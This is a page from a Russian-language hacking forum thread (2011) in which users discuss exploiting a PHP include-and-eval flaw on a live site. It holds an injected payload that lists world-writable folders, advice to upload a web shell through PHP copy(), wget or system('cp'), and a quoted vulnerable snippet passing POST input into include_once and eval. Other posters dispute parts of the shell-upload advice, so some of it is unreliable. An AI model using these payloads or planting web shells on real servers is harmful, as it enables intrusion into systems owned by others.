HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1810 из 2438 « Первая < 8101310171017601800 1806 1807 1808 1809 1810 1811 1812 1813 1814 1820186019102310 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #18091  
Старый 14.09.2011, 12:56
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию
Цитата:
Сообщение от VertuOzz  
VertuOzz said:
Извиняюсь за нубский вопрос, а что это даст?
это может дать тебе возможность выполнять пхп код, т.е если в том месте где ты вставил эту строчку срабодает пхп инфо которое можешь вызвать так "e=phpinfo();" то значит можешь удаленно попробовать залить шелл примерно так "e=cp("/folder/shell.php","http://localhost/shell.txt");" ну или на месте самой этой строчки вставить код уплодера, вообщем вариантов куча)
 
Ответить с цитированием

  #18092  
Старый 14.09.2011, 16:50
VertuOzz
Guest
Сообщений: n/a
Провел на форуме:
1470

Репутация: 0
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
это может дать тебе возможность выполнять пхп код, т.е если в том месте где ты вставил эту строчку срабодает пхп инфо которое можешь вызвать так "e=phpinfo();" то значит можешь удаленно попробовать залить шелл примерно так "e=cp("/folder/shell.php","http://localhost/shell.txt");" ну или на месте самой этой строчки вставить код уплодера, вообщем вариантов куча)
А можно через cmd залить?

На команду

Код:
Code:
find . -type d -perm 777 -print
ругнулся

Код HTML:
HTML:
Warning:  include_once() [function.include]: Failed opening 'modules/error_reporting(0);print `find . -type d -perm 777 -print`;///error_reporting(0);print `find . -type d -perm 777 -print`;//.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxx/public_html/includes/libs/ss.inc.php on line 168
но выдал все папки с правами на записью Какой командой можно залить файл, удаленно или локально?
 
Ответить с цитированием

  #18093  
Старый 14.09.2011, 17:50
sourcec0de
Guest
Сообщений: n/a
Провел на форуме:
10040

Репутация: 7
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
"e=cp("/folder/shell.php","http://localhost/shell.txt");"
Херню не неси
 
Ответить с цитированием

  #18094  
Старый 14.09.2011, 18:03
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию
Цитата:
Сообщение от sourcec0de  
sourcec0de said:
Херню не неси
Есле херня, аргументируй!!! в чем имено,

cp - это функция копирования, линукса, онаже COPY на пхп, а как вы ее будите использовать это уже другой вопрос, требую аргументировать в чем херня!
 
Ответить с цитированием

  #18095  
Старый 14.09.2011, 18:06
sourcec0de
Guest
Сообщений: n/a
Провел на форуме:
10040

Репутация: 7
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
Есле херня, аргументируй!!! в чем имено,
cp - это функция копирования, линукса, онаже COPY на пхп, а как вы ее будите использовать это уже другой вопрос, требую аргументировать в чем херня!


Сначала пишешь вставить эвал, а потом юзаешь системные команды(непосресдтвенно через эвал), да еще и с неправильными аргументами...
 
Ответить с цитированием

  #18096  
Старый 14.09.2011, 18:07
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию
Цитата:
Сообщение от VertuOzz  
VertuOzz said:
А можно через cmd залить?
На команду
Код:
Code:
find . -type d -perm 777 -print
ругнулся
Код HTML:
HTML:
Warning:  include_once() [function.include]: Failed opening 'modules/error_reporting(0);print `find . -type d -perm 777 -print`;///error_reporting(0);print `find . -type d -perm 777 -print`;//.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxx/public_html/includes/libs/ss.inc.php on line 168
но выдал все папки с правами на записью Какой командой можно залить файл, удаленно или локально?
если есть возможность, посмотри какие качалки есть, может WGET есть, ей и попробуй если через пхп то copy("куда", "откуда");, если локально то "cp "
 
Ответить с цитированием

  #18097  
Старый 14.09.2011, 18:13
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
если есть возможность, посмотри какие качалки есть, может WGET есть, ей и попробуй если через пхп то copy("куда", "откуда");, если локально то "cp "
system \ passthru \ etc => system("cp ");

Но никак не просто в eval въебать cp.

Может все-таки не будешь пугать людей?
 
Ответить с цитированием

  #18098  
Старый 14.09.2011, 18:14
sourcec0de
Guest
Сообщений: n/a
Провел на форуме:
10040

Репутация: 7
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
ей и попробуй если через пхп то copy("куда", "откуда");,
И опять бред, ты я смотрю главный распространитель дезинформации тут.
 
Ответить с цитированием

  #18099  
Старый 14.09.2011, 18:16
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от winstrool  
winstrool said:
если есть возможность, посмотри какие качалки есть, может WGET есть, ей и попробуй если через пхп то copy("куда", "откуда");, если локально то "cp "
Это LFI, и произвольное выполнение кода(Не команд).

P.S. Писать не хотел, так как это элементарно, но winstrool попросил разобраться.
 
Ответить с цитированием

  #18100  
Старый 14.09.2011, 18:25
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию
Цитата:
Сообщение от XAMEHA  
XAMEHA said:
Это LFI, а не произвольное выполнение кода/команд.
P.S. Писать не хотел, так как это элементарно, но
winstrool
попросил разобраться.
Это и произвольное выполнение кода и LFI. Но мне кажется, что "произвольное выполнение кода" как-то выгоднее нежели LFI, да и говорим мы не о LFI сейчас.

/showpost.php?p=2829300&postcount=18023

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]];

...

include_once([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"]);

...

[/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'::ajax_post();'[/COLOR][COLOR="#007700"];

...

eval([/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//EVAL!!1111 Code Execution

[/COLOR][/COLOR] 
Писать не хотел, так как это элементарно, но Расмус Лердорф попросил разобраться.
 
Ответить с цитированием
Ответ
Страница 1810 из 2438 « Первая < 8101310171017601800 1806 1807 1808 1809 1810 1811 1812 1813 1814 1820186019102310 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ